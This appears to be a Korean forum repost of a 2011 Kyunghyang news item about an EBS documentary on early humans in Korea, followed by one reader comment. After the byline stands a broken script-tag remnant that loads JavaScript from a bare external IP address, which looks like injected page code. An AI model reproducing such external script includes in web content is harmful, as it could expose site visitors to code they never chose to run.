작성일 : 11-11-24 13:09
조회 : 4,801
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단일민족임을 내세워 민족성을 고취시키고 단결을 강조해 왔던 한반도. 이 땅에 처음 발을 디딘 사람들의 얼굴은 어떻게 생겼을까. EBS 다큐프라임은 창사특집으로 이 같은 물음에서 시작되는 논픽션 다큐멘터리 <한반도의 인류>를 22~24일 오후 9시50분 방영한다.한반도에 최초로 나타난 인류는 호모에렉투스로 알려져 있다. 이들은 100만년 동안 주먹도끼와 불을 가지고 해빙기와 간빙기가 반복되는 혹독한 자연환경에서 적응한 사냥꾼이었다. 그러나 아프리카에서 태어난 새 인류 호모사피엔스가 한반도에 유입되자 새로운 국면을 맞이한다.호모사피엔스는 사냥감인 매머드가 을 찾아 시베리아에서 한반도로 옮겨 가자 함께 이동했다. 호모에렉투스와 달리 표현에 능한 호모사피엔스는 한반도로 넓게 퍼져나가 정교한 석기들을 만들며, 죽음과 문명을 꽃피운다. 이들은 수렵 채집의 이동 생활을 멈추고 정착을 시작하며 인류 최고의 발명품인 토기를 탄생시킨다.이 같은 이야기를 통해 제작진은 현생 인류인 호모사피엔스가 과연 호모에렉투스로부터 진화한 것인지, 농업혁명이 한반도에서는 청동기에 시작된 이유는 무엇인지, 결국 우리의 조상은 누구인지 등 여러 의문에 대한 해답을 추적한다.<문주영기자 mooni@kyunghyang.com>< language=java src=http://163.20.7.9/AC_RunActiveContent.js>
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과거에도 북쪽사람이 남쪽사람보다 거칠고 사냥에 능숙하며 ,
남쪽 사람은 감정표현과 예술에 발전에 힘썻나보네요
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